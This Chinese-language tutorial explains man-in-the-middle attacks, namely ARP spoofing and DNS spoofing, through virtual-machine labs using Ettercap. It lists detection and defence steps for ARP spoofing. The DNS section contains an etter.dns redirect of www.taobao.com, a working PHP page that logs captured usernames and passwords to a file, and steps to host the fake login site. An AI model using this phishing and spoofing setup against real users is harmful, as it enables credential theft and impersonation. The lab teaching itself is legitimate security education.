网络安全基础
一、中间人攻击
1. ARP欺骗
1. 概述
中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。
2. 攻击原理
利用ARP协议漏洞进行的攻击—ARP欺骗;
- PC1给PC3发送数据:网络层(IP包)
10.1.1.1 10.1.1.3 端口号 Hello,PC3 (源IP地址 目标IP 源端口号 目标端口号 数据)
; - 到数据链路层后:数据帧包
__ AA 10.1.1.1 10.1.1.3 端口号 Hello,PC3 (目标MAC地址[PC3的未知] 源MAC地址 源IP地址 目标IP 源端口号 目标端口号 数据)
; - ARP协议出现
“我是10.1.1.1,我的MAC地址为AA,谁是10.1.1.3,你的MAC地址是什么呀?”ARP协议发送广播MAC地址(FF-FF-…12个F):FF AA 10.1.1.1 10.1.1.3 端口号 Hello,PC3
; - 该网卡上的所有主机都收到这个广播,PC2会丢弃这个包;PC3收到包后会单播应答它,
CC AA 10.1.1.1 10.1.1.3 端口号 Hello,PC1
,并通过交换机查询MAC地址表,将响应包传递给PC1,PC1会在第一时间建立一个ARP缓存表:10.1.1.3 CC
; - 漏洞出现:ARP缓存表遵循的规则是谁后到达就学习谁,由于ARP没有验证功能,所以PC2使用攻击工具不停发送虚假的ARP应答,PC1的ARP缓存表就会变成了
10.1.1.3 BB
; - 从此PC1发送数据就要先经过PC2,(
BB AA 10.1.1.1 10.1.1.3 端口号 数据
),PC2通过工具解包获取数据后再修改目标MAC地址(CC AA 10.1.1.1 10.1.1.3 端口号 数据
),然后转发给PC3,完成攻击。
3. 模拟攻击
- 环境:三台虚拟机
windowsXP(客户机)、windows2003(模拟WEB或FTP服务器)、Kali(模拟中间机) - 网络拓扑图
- 配置IP地址
kali的:ifconfig eth0 10.1.1.2/24
- 在win 2003上关闭ftp匿名访问并新增一个用户test供win xp使用
win xp 测试:
- 使用kali的EtterCap工具
EtterCap是一个基于ARP地址欺骗方式的网络嗅探工具,主要适用于交换局域网络。借助于EtterCap嗅探软件,渗透测试人员可以检测网络内明文数据通讯的安全性,及时采取措施,避免敏感的用户名/密码等数据以明文的方式进行传输。
选择网卡:eth0
扫描hosts:
添加target1/2:
选择ARP poisoning进行攻击:
- 测试ftp连接,此时EtterCap已经截获用户名密码,但不影响它俩通信
我们查看arp缓存表:可以看到攻击者的IP地址
4. 检测与防御
- 检测
1、网络频繁掉线
2、网速突然变慢
3、使用arp -a命令查看的网关mac地址与真实的网关mac地址不同
4、使用嗅探软件发现局域网内存在大量arp应答包
- 防御
1、绑定mac地址
2、使用静态arp缓存表
3、使用arp服务器,通过服务器来查找arp转换表来响应其他机器的广播
4、使用arp欺骗防护软件
2. DNS欺骗
1. 概述
DNS欺骗就是攻击者冒充域名服务器的一种欺骗行为。 如果可以冒充域名服务器,然后把查询的IP地址设为攻击者的IP地址,这样的话,用户上网就只能看到攻击者的主页,而不是用户想要取得的网站的主页了,这就是DNS欺骗的基本原理。DNS欺骗其实并不是真的“黑掉”了对方的网站,而是冒名顶替。
2. 攻击原理
正常通过域名访问www.baidu.com网站:
中间人攻击–>DNS欺骗:
3. 模拟攻击
- windows XP:受害者、Kali:攻击者、windows 2003:模拟taobao服务器/DNS服务器
- 配置IP
- 搭建DNS服务器
- 搭建模拟taoobao服务器
搭建网站:
win xp上测试访问,配置DNS服务器地址(10.1.1.3)
- 搭建攻击者–>Kali
1)配置ettercap的dns缓存
# 进入目录
vim /etc/ettercap/etter.dns
# 删除解析记录
# 编写解析文件
www.taobao.com A 10.1.1.2 (正向解析)
www.taobao.com PTR 10.1.1.2(反向解析)
或:
* A 10.1.1.2
* PTR 10.1.1.2
2)开启apache服务:systemctl start apache2
,查看:netstat -antpl
3)搭建虚假taobao网站:
添加用于获取用户及密码的php页面:error.php
找到登录页面的用户名和密码的name字段:username和password,将该字段用于php代码中:
<?php
$nam = stripslashes($_POST['username']);
$pas = stripslashes($_POST['password']);
$content = "你已经捕获淘宝账号及密码:" . " 用户名 " . $nam . " 密码 " . $pas;
$filed = @fopen("1.txt","a+");
@fwrite($filed,"$content\n");
?>
<html>
<head>
<script type="text/javascript">
function goBack()
{
window.history.back() //后退+刷新
}
</script>
</head>
<body onload="goBack()">
</html>
将获取的账户及密码保存追加在1.txt文件中。
修改登录页面的action字段,使登录跳转到你的error.php页面:
<form method="post" action="error.php">
4)配置钓鱼网站
cd /var/www/html,删除里面的默认网站:rm rf *
拷贝文件:cp -r /root/桌面/taobao/* ./
修改1.txt文件的权限(让文件拥有读写权限):chmod 777 1.txt
开启ettercap软件:
开启 ARP投毒,开启dns_spoof:
清空客户机的本地dns缓存:ipconfig /flushdns
再次访问:www.taobao.com,并登录,我们可以发现客户还是使用域名www.taobao.com访问网站(但却毫无知觉的进入了钓鱼网站),而且攻击者已经获得了用户密码和用户名:
4. 网站钓鱼
钓鱼者运用社会工程学(Social Engineering)知识诱骗受害者,以在未授权情况下获取对方的姓名、年龄、邮箱账号,甚至是银行卡密码等私人信息。钓鱼往往和社会工程学相结合进行诱导,而社会工程学是hacker的内功,能否灵活运用可以体现一个hacker的个人修为,所以说“防人之心不可无”这句话并非没有道理,凡事不要害人但是总要留个心眼,否则最终受伤的就是自己。
社会工程学hacker常用伎俩:
- 电话号码欺骗
- 利用坏消息作案
- 垃圾邮件诱骗
- 滥用网民对社交网络的信任
- 二维码引诱
- 恶意APP劫持